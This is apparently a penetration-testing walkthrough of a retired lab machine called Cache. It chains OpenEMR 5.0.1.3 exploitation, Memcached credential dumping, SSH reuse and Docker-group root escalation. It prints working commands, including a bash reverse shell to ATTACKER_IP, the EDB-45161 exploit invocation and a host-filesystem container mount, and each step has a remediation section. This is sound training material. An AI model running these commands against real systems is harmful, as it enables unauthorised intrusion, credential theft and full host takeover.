← all walkthroughs

Cache

Linux· Medium· Web
owned
2026-07-09
time to own
11m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanning the web server discovered a hidden virtual host (hms.htb) referenced in a publicly exposed developer profile page. That host ran OpenEMR 5.0.1.3, which carries a publicly documented authentication bypass chained with SQL injection and an unrestricted file upload to achieve unauthenticated remote code execution as the Apache web server process.

From that foothold, internal port enumeration found an unauthenticated Memcached service on localhost that the application used to cache the cleartext SSH credentials of the local user 'luffy'. Logging in over SSH, I discovered that luffy belongs to the Docker group — a misconfiguration equivalent to granting unconditional root access — and mounted the entire host filesystem inside a container as UID 0, reading every file on the system without triggering a single privilege-escalation exploit.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Scanned the host and identified exposed services
A service-version scan of $TARGET found only two open ports: SSH on 22 (OpenSSH 7.6p1, Ubuntu) and HTTP on 80 (Apache 2.4.29, Ubuntu). The default Apache page provided no application content but confirmed the server was a Linux host with a minimal attack surface externally visible.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3; 80/tcp open http Apache httpd 2.4.29
Exact commands 2
Service-version scan of both open ports.
nmap -sV -p22,80 --script banner $TARGET
Register the primary hostname for virtual-host resolution.
echo "$TARGET cache.htb" | sudo tee -a /etc/hosts
2EnumerationVirtual-host and application-version disclosure via information leakage (T1592)
Discovered hidden virtual host hms.htb via a public developer page
The default Apache site contained a link to /author.html, a developer profile page that disclosed a second web application at the hostname hms.htb. After adding both cache.htb and hms.htb to /etc/hosts, a request to http://hms.htb/admin.php revealed the application as OpenEMR version 5.0.1.3 — a widely deployed electronic medical-records platform with known critical vulnerabilities at that version.
Curl of /author.html returned references to hms.htb; curl of http://hms.htb/admin.php returned the OpenEMR 5.0.1.3 version string.
Exact commands 4
Extract the hms.htb hostname reference from the public page.
curl -sS http://$TARGET/author.html | grep -i -C3 -E 'hms|hospital|cache'
Register the discovered virtual host.
echo "$TARGET hms.htb" | sudo tee -a /etc/hosts
Confirm application identity and exact version number.
curl -sS http://hms.htb/admin.php | grep -iE 'OpenEMR|version'
Check public exploit database for known vulnerabilities at this version.
searchsploit OpenEMR 5.0.1
FixRemove internal hostnames and application references from public-facing pagesMedium
WeaknessThe public /author.html page disclosed the internal virtual hostname hms.htb, pointing an unauthorised user directly to a sensitive medical-records application that was not otherwise advertised or reachable by name.
FixAudit all publicly served HTML, JavaScript, and CSS for internal hostnames, IP addresses, or application paths and remove them before publishing. If a developer or team biography page must exist, serve it only to authenticated users or behind a VPN. Integrate a content-security review step into your deployment pipeline that flags embedded internal references.
3ExploitationChained authentication bypass, SQL injection, and unrestricted file upload RCE (CVE-2018-15142 / CVE-2018-15152, EDB-ID 45161)
Exploited OpenEMR 5.0.1.3 authentication bypass and file upload for remote code execution
OpenEMR 5.0.1.3 contains a publicly documented authentication bypass in its patient portal registration flow (CVE-2018-15142 / CVE-2018-15152). After bypassing login, a post-authentication SQL injection and an unrestricted PHP file upload endpoint can be chained to write and execute arbitrary server-side code. The public exploit script EDB-45161 chains these three steps automatically. Passing a reverse-shell one-liner as the payload delivered an interactive shell connecting back to me as the web server process www-data. The script requires Python 2.
Reverse shell received; id returned uid=33(www-data) gid=33(www-data); hostname: cache; cwd: /var/www/hms.htb/public_html/interface/main
Exact commands 3
Start a listener on my machine before launching the exploit.
nc -lvnp 4444
Run the exploit; replace $ATTACKER_IP with your machine's IP. Must be run with python2, not python3.
python2 /usr/share/exploitdb/exploits/php/webapps/45161.py http://hms.htb -u openemr_admin -p xxxxxx -c "bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'"
Confirm shell identity and working directory after the shell connects.
id; hostname; pwd
FixUpgrade OpenEMR and restrict access to its administrative and portal interfacesCritical
WeaknessOpenEMR 5.0.1.3 contains a publicly documented and weaponized authentication bypass combined with SQL injection and an unrestricted PHP file upload, allowing any unauthenticated remote user to execute operating-system commands as the web server without any credentials.
FixUpgrade OpenEMR to the current supported release immediately — the vendor released patches for these vulnerabilities. Restrict access to /admin.php, /portal/, and /interface/ to trusted IP ranges at the network or web-server layer (Apache Allow/Deny directives or a WAF). Disable the patient self-registration portal if it is not actively used. Subscribe to the OpenEMR security mailing list to receive future vulnerability notices.
4Post-ExploitationCredential access via unauthenticated in-memory cache (T1552.001)
Dumped cleartext user credentials from an unauthenticated Memcached service
Listing open sockets from the www-data shell revealed Memcached bound to 127.0.0.1:11211 with no authentication. Memcached's built-in diagnostic commands allow any connecting process to enumerate and retrieve all cached items. A stats cachedump command returned a list of stored keys; subsequent get commands retrieved their plaintext values, which included the local system user 'luffy' and the associated SSH password '[REDACTED: recovered credential]'. The application had been caching real OS-level credentials in Memcached without encryption or access control.
Nc to 127.0.0.1:11211 returned VALUE user 0 5 luffy and VALUE passwd 0 9 [REDACTED: recovered credential]
Exact commands 3
Enumerate localhost-only listeners from the www-data shell; identifies Memcached on 11211.
ss -lntp 2>/dev/null || netstat -tulpn 2>/dev/null
List all cached keys in slab 1 without any authentication.
printf 'stats cachedump 1 0\r\nquit\r\n' | nc -w 3 127.0.0.1 11211
Retrieve stored values; exposes luffy:[REDACTED: recovered credential] in plaintext.
printf 'get user\r\nget passwd\r\nget account\r\nget file\r\nget link\r\nquit\r\n' | nc -w 3 127.0.0.1 11211
FixSecure Memcached with authentication and never cache plaintext credentialsCritical
WeaknessMemcached was accessible on localhost with no authentication, and the application stored a real operating-system user's SSH password as a plaintext Memcached value. Any process on the host — including a compromised web worker — could read every cached secret with a single netcat command.
FixEnable SASL authentication on Memcached (start with the -S flag and configure a SASL user/password). Never store credentials, session tokens, or other secrets in a cache layer — store only non-sensitive derived values such as serialized user-preference objects. If a session must be linked to an account, store only an opaque session identifier in cache and retrieve sensitive fields from the database at request time through a properly access-controlled application layer. Restrict the Memcached socket to the application process owner using a Unix socket instead of a TCP port where possible.
5Lateral MovementValid account credential reuse over SSH (T1078.003)
Authenticated over SSH as luffy using credentials stolen from Memcached
The credentials recovered from Memcached (luffy / [REDACTED: recovered credential]) worked directly against the SSH service. I gained an interactive SSH session as the system user luffy. Running id confirmed luffy's group memberships and revealed membership in the docker group — a configuration that grants effective root-level control over the host system.
Ssh luffy@$TARGET with password [REDACTED: recovered credential] succeeded; id returned uid=1000(luffy) gid=1000(luffy) groups=1000(luffy),999(docker)
Exact commands 2
Authenticate using password [REDACTED: recovered credential] recovered from Memcached.
ssh luffy@$TARGET
Confirm group membership; docker group membership is a direct path to root.
id
6Privilege EscalationContainer escape via Docker group host-filesystem mount (T1611)
Mounted the host filesystem inside a Docker container to read all files as root
Membership in the Docker group allows a user to start containers with arbitrary volume mounts — there is no password, sudo approval, or exploit required. I ran a Ubuntu container with -v /:/mnt, binding the entire host root filesystem into the container, then used chroot /mnt to enter the host tree as container UID 0. Because the container runs as root and the host filesystem is mounted without restrictions, this gives unrestricted read and write access to every file on the host, bypassing all Unix file permission checks. Both the user flag (owned by the user ash, inaccessible to luffy on the host) and the root flag were read in a single docker run command.
Docker run --rm -v /:/mnt -u 0 ubuntu:latest chroot /mnt /bin/bash -c 'id' returned uid=0(root); user.txt and root.txt both read successfully
Exact commands 3
List locally available images; ubuntu:latest was present on the host.
docker images
Mount host root, chroot as UID 0, and read ash's user flag. Flag value: <user.txt>
docker run --rm -v /:/mnt -u 0 ubuntu:latest chroot /mnt /bin/bash -c "id; cat /home/ash/user.txt"
Read the root flag as host root via the same technique. Flag value: <root.txt>
docker run --rm -v /:/mnt -u 0 ubuntu:latest chroot /mnt /bin/bash -c "cat /root/root.txt"
FixRemove all non-administrator accounts from the Docker groupCritical
WeaknessThe user luffy was a member of the docker group. Docker group membership is functionally equivalent to passwordless root access: any member can launch a container that mounts the host filesystem and operates as UID 0, bypassing all file permissions, sudo policies, and audit controls — no exploit required.
FixRemove every non-administrator account from the docker group immediately: gpasswd -d luffy docker. Audit all group memberships with getent group docker as part of your regular access review. For users who need to run containers, evaluate rootless Docker (user-namespace-isolated, runs entirely as an unprivileged UID) or grant narrowly scoped access via sudo rules with hard argument restrictions. Treat Docker group membership as equivalent to granting a root shell.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
80/tcp